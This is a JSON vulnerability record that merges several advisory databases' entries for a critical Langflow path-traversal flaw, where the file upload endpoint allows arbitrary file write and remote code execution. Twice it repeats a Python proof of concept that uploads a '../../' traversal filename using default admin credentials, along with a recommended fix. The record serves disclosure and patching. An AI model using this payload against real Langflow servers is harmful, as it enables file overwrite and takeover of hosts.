{"id":"CVE-2026-33309","aliases":["EUVD-2026-14788","GHSA-g2j9-7rj2-gm6c","PYSEC-2026-79"],"status":"published","title":"Langflow has an Arbitrary File Write (RCE) via v2 API","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.13752,"percentile":0.96539,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-284","CWE-73","CWE-94"],"published":"2026-03-19T17:46:43Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"PyPI","package":"langflow","fixed_in":["1.9.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.0"},{"fixed":"1.9.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.0"},{"fixed":"1.9.0"}]}],"versions":["1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.0rc0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.0rc5","1.8.0rc6","1.8.1","1.8.2","1.8.3","1.8.3rc0","1.8.4"]},{"source":"osv","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.0"},{"fixed":"1.9.0"}]}],"versions":["1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.0rc0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.0rc5","1.8.0rc6","1.8.1","1.8.2","1.8.3","1.8.3rc0","1.8.4"]}],"products":[{"vendor":"langflow","product":"langflow"},{"vendor":"langflow-ai","product":"langflow"}],"references":[{"url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33309","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g2j9-7rj2-gm6c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33309.json","tags":["advisory"]},{"url":"https://github.com/langflow-ai/langflow","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33309","title":"Langflow has an Arbitrary File Write (RCE) via v2 API","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","status":"published","published":"2026-03-24T12:49:16.276Z","modified":"2026-03-25T03:55:47.098Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-22","CWE-73","CWE-94","CWE-284"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14788","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","status":"published","published":"2026-03-24T12:49:16Z","modified":"2026-03-25T03:55:47Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:29.547775Z"}],"ghsa":[{"id":"GHSA-g2j9-7rj2-gm6c","title":"Langflow has an Arbitrary File Write (RCE) via v2 API","description":"### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.","status":"published","published":"2026-03-19T17:46:43Z","modified":"2026-06-06T00:55:52Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-73","CWE-94","CWE-284"],"updated_at":"2026-11-02T14:40:18.682012Z"}],"nvd":[{"id":"CVE-2026-33309","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","status":"published","published":"2026-03-24T13:16:02.983Z","modified":"2026-06-17T10:37:17.89Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-22","CWE-73","CWE-94","CWE-284"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33309","title":"Langflow has an Arbitrary File Write (RCE) via v2 API","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","status":"published","published":"2026-03-24T12:49:16.276Z","modified":"2026-10-28T02:31:10.014015687Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-284","CWE-73","CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-g2j9-7rj2-gm6c","title":"Langflow has an Arbitrary File Write (RCE) via v2 API","description":"### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.","status":"published","published":"2026-03-19T17:46:43Z","modified":"2026-06-06T01:00:08.146676869Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-284","CWE-73","CWE-94"],"updated_at":"2026-11-02T15:46:47.119724Z"},{"id":"PYSEC-2026-79","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.","status":"published","published":"2026-03-24T13:16:02.983Z","modified":"2026-05-20T09:19:04.514929Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:58.117212Z"}]}}